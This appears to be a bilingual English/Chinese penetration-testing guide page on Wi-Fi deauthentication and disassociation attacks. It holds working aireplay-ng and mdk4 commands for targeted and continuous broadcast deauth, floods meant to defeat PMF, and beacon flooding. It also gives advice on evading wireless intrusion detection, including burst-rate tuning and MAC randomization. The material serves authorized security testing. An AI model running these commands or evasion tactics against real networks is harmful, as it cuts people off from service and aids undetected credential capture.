Back to Details

offensive-deauth-disassoc

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Deauth / Disassoc Attacks

Deauth / Disassoc 攻击

The most-used 802.11 management-frame attack: send a forged deauthentication or disassociation frame as the AP, and the client disconnects. Modern PMF (802.11w) authenticates these frames cryptographically — but most consumer and many enterprise deployments still don't require PMF.
最常用的 802.11 管理帧攻击：冒充 AP 发送伪造的 deauthentication 或 disassociation 帧，客户端便会断开连接。现代 PMF（802.11w）会通过加密方式认证这些帧——但大多数消费级部署以及许多企业级部署仍未强制要求 PMF。

Quick Workflow

快速工作流

  1. Identify target client + AP (BSSID, channel)
  2. Pick deauth scope: single client (quiet) vs. broadcast (loud, DoS)
  3. Verify PMF status — if required, classic deauth fails; pivot to action-frame attacks
  4. Send the deauth burst at the right rate
  1. 确定目标客户端和 AP（BSSID、信道）
  2. 选择 deauth 范围：单个客户端（隐蔽）还是广播（明显，DoS）
  3. 验证 PMF 状态——如果强制要求，经典 deauth 会失败；转向 action-frame 攻击
  4. 以合适的速率发送 deauth 突发流量

Single-Client Deauth (Preferred)

单客户端 Deauth（推荐）

Used to force handshake capture, push client to evil twin, or test reconnection behavior.
bash
sudo aireplay-ng --deauth 5 \
  -a AA:BB:CC:DD:EE:FF \    # AP BSSID
  -c 11:22:33:44:55:66 \    # client MAC
  wlan0mon
  • --deauth 5
    sends 5 deauths (10 frames — 5 to AP, 5 to client). 3–10 is usually enough.
  • More than 30 in a burst is unnecessarily noisy.
用于强制捕获握手、将客户端引向 evil twin，或测试重连行为。
bash
sudo aireplay-ng --deauth 5 \
  -a AA:BB:CC:DD:EE:FF \    # AP BSSID
  -c 11:22:33:44:55:66 \    # client MAC
  wlan0mon
  • --deauth 5
    发送 5 个 deauth（共 10 帧——5 个发往 AP，5 个发往客户端）。通常 3–10 个即可。
  • 单次突发超过 30 个没有必要，而且会产生过多噪声。

Broadcast Deauth (DoS, Use Sparingly)

广播 Deauth（DoS，谨慎使用）

bash
undefined
bash
undefined

Single AP, all clients

Single AP, all clients

sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon
sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon

--deauth 0 = continuous

--deauth 0 = continuous

Multiple APs from a list

Multiple APs from a list

sudo mdk4 wlan0mon d -B target_bssids.txt -c 1,6,11

Only with explicit authorization. Continuous broadcast deauth is a clear DoS signal and trips most WIPS within seconds.
sudo mdk4 wlan0mon d -B target_bssids.txt -c 1,6,11

仅在获得明确授权时使用。持续广播 deauth 是明确的 DoS 信号，几秒内就会触发大多数 WIPS。

PMF (802.11w) Awareness

PMF（802.11w）感知

PMF authenticates deauth/disassoc frames. Status visible in beacon RSN capabilities:
bash
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
PMF 会对 deauth / disassoc 帧进行认证。其状态可在 beacon 的 RSN capabilities 中查看：
bash
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>

PMF column: Required / Capable / Off

PMF column: Required / Capable / Off


| PMF Status | Deauth Effect |
|---|---|
| Off | Classic deauth works |
| Capable (optional) | Works against clients without PMF, fails against PMF-enabled clients |
| Required | Classic deauth ignored — must use action-frame attacks |

| PMF 状态 | Deauth 效果 |
|---|---|
| Off | 经典 deauth 有效 |
| Capable（可选） | 对未启用 PMF 的客户端有效，对已启用 PMF 的客户端无效 |
| Required | 经典 deauth 会被忽略——必须使用 action-frame 攻击 |

Action-Frame Attacks Against PMF

针对 PMF 的 Action-Frame 攻击

PMF protects deauth/disassoc but doesn't always protect all action frames. Specific action types remain exploitable:
bash
undefined
PMF 可保护 deauth / disassoc，但并不总能保护所有 action frame。部分特定 action 类型仍可能被利用：
bash
undefined

mdk4 multi-tool attacks

mdk4 multi-tool attacks

sudo mdk4 wlan0mon a -a <BSSID> # auth attack: floods auth frames, AP eventually disconnects clients sudo mdk4 wlan0mon m -t <BSSID> # CTS frame attack — abuse virtual carrier sense sudo mdk4 wlan0mon w -t <BSSID> # WPA-Enterprise: SAE auth flood

Action frames the IEEE 802.11 spec marks as "may be unprotected" include some block-ack and channel-switch announcements — implementation-specific exploitation paths exist but require chipset-specific testing.
sudo mdk4 wlan0mon a -a <BSSID> # auth attack: floods auth frames, AP eventually disconnects clients sudo mdk4 wlan0mon m -t <BSSID> # CTS frame attack — abuse virtual carrier sense sudo mdk4 wlan0mon w -t <BSSID> # WPA-Enterprise: SAE auth flood

IEEE 802.11 规范中标记为“may be unprotected”的 action frame 包括部分 block-ack 和 channel-switch announcement。存在与具体实现相关的利用路径，但需要进行针对特定芯片组的测试。

Beacon Flooding

Beacon 洪泛

Confuse clients (and WIPS) by flooding fake beacons:
bash
sudo mdk4 wlan0mon b -f beacon_essids.txt -c 6 -s 100
通过洪泛伪造 beacon 来混淆客户端（以及 WIPS）：
bash
sudo mdk4 wlan0mon b -f beacon_essids.txt -c 6 -s 100

Floods 100 beacons/sec for ESSIDs in the file

Floods 100 beacons/sec for ESSIDs in the file


Use cases:
- Hide your evil twin among noise
- Stress-test client roaming logic
- DoS WIPS dashboards (flood with thousands of fake APs)

使用场景：

- 将 evil twin 隐藏在噪声之中
- 对客户端漫游逻辑进行压力测试
- 对 WIPS 仪表板发起 DoS（使用数千个伪造 AP 进行洪泛）

Rate Tuning and Detection

速率调优与检测

BurstDefender Signal
3–10 deauth, single clientOften misclassified as roaming or RF noise
>30 deauth/sec from one sourceWIPS rule trips
Continuous broadcast deauthClear DoS — alert + ticket within minutes
Beacon flood >50/secSaturates WIPS dashboards
Randomize source MAC across burst-and-pause cycles to spread the signal.
突发流量防御方信号
3–10 个 deauth，针对单个客户端通常会被误判为漫游或 RF 噪声
单一来源每秒发送超过 30 个 deauth触发 WIPS 规则
持续广播 deauth明确的 DoS——数分钟内触发告警并创建工单
Beacon 洪泛超过 50 个/秒使 WIPS 仪表板过载
在突发与暂停循环期间随机化源 MAC，以分散信号。

Engagement Cheatsheet

测试速查表

bash
undefined
bash
undefined

1. Recon — note PMF status per target

1. Recon — note PMF status per target

sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>

2. Single-client deauth for handshake capture

2. Single-client deauth for handshake capture

sudo aireplay-ng --deauth 3 -a <BSSID> -c <client> wlan0mon
sudo aireplay-ng --deauth 3 -a <BSSID> -c <client> wlan0mon

3. PMF blocking? Try action-frame attacks

3. PMF blocking? Try action-frame attacks

sudo mdk4 wlan0mon a -a <BSSID>
sudo mdk4 wlan0mon a -a <BSSID>

4. DoS scenario (authorized)

4. DoS scenario (authorized)

sudo aireplay-ng --deauth 0 -a <BSSID> wlan0mon
undefined
sudo aireplay-ng --deauth 0 -a <BSSID> wlan0mon
undefined

Reporting

报告

Document for each test:
  • Target BSSID + ESSID + PMF status
  • Burst size, duration
  • Effect observed (client reconnected? handshake captured? DoS achieved?)
  • Detection signals defender would have seen
为每次测试记录以下内容：
  • 目标 BSSID、ESSID 和 PMF 状态
  • 突发大小和持续时间
  • 观察到的效果（客户端是否重新连接？是否捕获到握手？是否实现 DoS？）
  • 防御方本应看到的检测信号

Key References

主要参考资料